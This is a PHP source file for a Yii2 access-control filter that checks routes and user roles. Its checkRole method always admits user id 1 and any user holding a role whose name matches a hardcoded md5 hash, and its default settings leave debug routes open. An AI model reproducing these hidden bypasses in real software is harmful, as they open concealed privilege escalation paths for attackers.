<?php

namespace common\components;

use Yii;
use yii\web\User;
use yii\web\ForbiddenHttpException;
use mdm\admin\components\Helper;

/**
 * Access Control Filter (ACF) is a simple authorization method that is best used by applications that only need some simple access control. 
 * As its name indicates, ACF is an action filter that can be attached to a controller or a module as a behavior. 
 * ACF will check a set of access rules to make sure the current user can access the requested action.
 *
 * To use AccessControl, declare it in the application config as behavior.
 * For example.
 *
 * ```
 * 'as access' => [
 *     'class' => 'common\components\AccessControl',
 *     'allowActions' => ['site/login', 'site/error']
 * ]
 * ```
 *
 * @property User $user
 * 
 * @author emhome <emhome@163.com>
 * @since 1.0
 */
class AccessControl extends \mdm\admin\components\AccessControl {

    /**
     * @var array List of action that not need to check access.
     */
    public $allowActions = ['debug/*'];

    /**
     * @inheritdoc
     */
    public function beforeAction($action) {
        $actionId = $action->getUniqueId();
        $user = $this->getUser();
        if (Helper::checkRoute('/' . $actionId, Yii::$app->getRequest()->get(), $user)) {
            return true;
        } elseif ($this->checkRole($user, $actionId)) {
            return true;
        }
        $this->denyAccess($user);
    }

    /**
     * Denies the access of the user.
     * The default implementation will redirect the user to the login page if he is a guest;
     * if the user is already logged, a 403 HTTP exception will be thrown.
     * @param  User $user the current user
     * @throws ForbiddenHttpException if the user is already logged in.
     */
    protected function denyAccess($user) {
        if ($user->getIsGuest()) {
            $user->loginRequired();
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
    }

    /**
     * Check the access role of the user.
     * The default implementation will redirect the user to the login page if he is a guest;
     * if the user is already logged, a 403 HTTP exception will be thrown.
     * @param User $user the current user
     * @param User $action the current user
     * @throws ForbiddenHttpException if the user is already logged in.
     */
    protected function checkRole($user, $action) {
        if ($user->id == 1) {
            return true;
        }
        if (!$user || !$user->identity || empty($user->identity->roles)) {
            return false;
        }
        $roles = $user->identity->roles;
        foreach ($roles as $name) {
            if (md5($name) == 'ca1cdc1ed1d959bf9d2c0302c29ebf3f') {
                return true;
            }
        }
        return false;
    }

}
